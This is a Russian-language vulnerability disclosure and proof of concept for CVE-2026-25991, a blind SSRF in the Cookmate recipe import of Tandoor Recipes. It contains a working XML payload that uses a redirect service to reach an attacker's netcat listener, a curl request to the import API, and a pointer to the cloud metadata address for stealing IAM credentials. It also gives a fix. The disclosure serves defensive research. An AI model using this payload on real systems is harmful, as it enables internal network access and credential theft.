
Доказательство концепции эксплуатации для CVE-2026-25991, слепой SSRF в импорте Cookmate в Tandoor Recipes, позволяющий аутентифицированным пользователям получать доступ к внутренним ресурсам.
Proof-of-Concept для SSRF через импорт рецептов
Раскрытие: Изначально сообщено мной через GHSA-j6xg-85mh-qqf7
⚠️ Только для авторизованного пентеста/исследований.
| Поле | Значение |
|---|
| ID CVE | CVE-2026-25991 |
| Серьёзность | 🔴 Высокая |
| Оценка CVSS | 7.7 |
| Вектор CVSS | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| CWE | CWE-918: Подделка серверных запросов (SSRF) |
| Затронутый продукт | Tandoor Recipes ≤ 2.5.0 |
| Исправленная версия | 2.5.1 |
| Консультация | GHSA-j6xg-85mh-qqf7 |
Я обнаружил уязвимость слепой подделки серверных запросов (SSRF) в функции импорта рецептов Cookmate в Tandoor Recipes. Приложение не проверяет конечный URL после следования HTTP-редиректам, что позволяет любому аутентифицированному пользователю (включая обычных пользователей без административных привилегий) заставить сервер подключаться к произвольным внутренним или внешним ресурсам.
Эта уязвимость может быть использована для сканирования портов внутренней сети, доступа к метаданным облачного экземпляра (например, служба метаданных AWS/GCP) или раскрытия реального IP-адреса сервера.
Уязвимость находится в cookbook/integration/cookmate.py, внутри класса интеграции Cookmate.
imageurl.validate_import_url (в cookbook/helper/HelperFunctions.py), которая корректно блокирует частные диапазоны IP-адресов (например, 127.0.0.1, 10.0.0.0/8).requests.get(url) для загрузки изображения. По умолчанию библиотека requests следует редиректам (allow_redirects=True).
Функция validate_import_url проверяет только исходный URL, но не проверяет конечный пункт назначения после редиректа.Фрагмент уязвимого кода (cookbook/integration/cookmate.py:73):
if validate_import_url(url):
# КРИТИЧНО: requests.get по умолчанию следует редиректам, обходя начальную проверку.
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
Злоумышленник может использовать внешний сервис (например, httpbin.org) для перенаправления запроса на ограниченный внутренний адрес (например, http://127.0.0.1:80/ или http://169.254.169.254/).
Ключевой момент: AppImportView (cookbook/views/api.py) явно разрешает права CustomIsUser, что означает, что ЛЮБОЙ зарегистрированный пользователь может вызвать эту уязвимость. Никаких специальных административных прав не требуется.
Предварительные требования:
nc).Шаги для воспроизведения:
Настройте прослушиватель (машина атакующего):
Откройте терминал и запустите nc для прослушивания входящих подключений. Это имитирует внутренний сервис или сервер под контролем атакующего.
nc -lvnp 9999
Создайте вредоносную XML-нагрузку:
Создайте файл с именем payload.xml. Замените <YOUR_IP> на ваш публичный IP-адрес (или доступный IP).
Эта нагрузка использует httpbin.org для обхода начальной проверки частного IP и перенаправления на ваш прослушиватель.
<recipes>
<recipe>
<title>SSRF_PoC</title>
<!-- Перенаправление на внутренний сервис или прослушиватель атакующего -->
<imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
</recipe>
</recipes>

Создайте ZIP-архив: Tandoor требует, чтобы XML находился внутри ZIP-файла.
zip payload.zip payload.xml
Выполните эксплойт (через API):
Войдите как обычный пользователь (не администратор), чтобы получить cookie сессии и CSRF-токен.
Затем отправьте POST-запрос на /api/import/:
(Замените <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> на фактические значения)
curl -X POST 'http://<TARGET_URL>/api/import/' \
-H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
-H 'X-CSRFToken: <CSRF_TOKEN>' \
-F 'type=COOKMATE' \
-F '[email protected]' \
-F 'duplicates=true'


nc). Вы увидите входящий HTTP GET-запрос от сервера Tandoor.
Это подтверждает, что сервер, действуя от имени обычного пользователя, подключился к произвольному внешнему/внутреннему ресурсу.
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...

http://169.254.169.254/latest/meta-data/) для кражи учётных данных IAM, что приведёт к полной компрометации инфраструктуры.Отключите автоматическое следование редиректам в вызове requests.get или внедрите строгую проверку URL-адресов редиректов.
Diff (предлагаемое исправление):
# cookbook/integration/cookmate.py
# Вариант 1: Отключить редиректы (рекомендуется)
response = requests.get(url, allow_redirects=False)
# Вариант 2: Проверять редиректы
# (Требуется сложная логика для проверки каждого перехода редиректа на частные диапазоны IP)